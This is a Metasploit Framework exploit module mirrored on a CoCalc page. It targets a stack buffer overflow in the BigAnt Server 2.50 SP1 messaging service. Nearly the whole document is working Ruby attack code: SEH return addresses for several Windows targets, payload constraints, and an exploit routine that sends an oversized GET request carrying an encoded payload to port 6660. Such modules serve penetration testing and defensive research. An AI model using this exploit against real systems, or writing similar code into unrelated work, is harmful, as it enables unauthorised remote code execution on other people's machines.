CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bigant_server_250.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
15
'Description' => %q{
16
This exploits a stack buffer overflow in the BigAnt Messaging Service,
17
part of the BigAnt Server product suite. This module was tested
18
successfully against version 2.50 SP1.
19
},
20
'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
# It's not clear if these are correct - there was a fix for
25
# the v2.2 vuln back in Dec 2008
26
[ 'CVE', '2008-1914'],
27
[ 'OSVDB', '44454'],
28
[ 'EDB', '9673' ],
29
[ 'EDB', '9690' ]
30
#[ 'B_ID', '28795' ],
31
#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
32
],
33
'Privileged' => true,
34
'DefaultOptions' =>
35
{
36
'EXITFUNC' => 'seh',
37
'AllowWin32SEH' => true
38
},
39
'Payload' =>
40
{
41
'Space' => 710,
42
'BadChars' => "\x00\x20\x0a\x0d",
43
'StackAdjustment' => -3500,
44
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
45
'DisableNops' => 'True',
46
},
47
'Platform' => 'win',
48
'Targets' =>
49
[
50
[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & aushack) p/p/r VBAJET32.dll xpsp3 & w2k
51
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (aushack 20090918)
52
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work
53
],
54
'DefaultTarget' => 0,
55
'DisclosureDate' => '2008-04-15'))
56
57
register_options([Opt::RPORT(6660)])
58
end
59
60
def exploit
61
connect
62
63
sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
64
sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
65
66
print_status("Trying target #{target.name}...")
67
sock.put(sploit + "\r\n\r\n")
68
69
handler
70
disconnect
71
end
72
end
73
74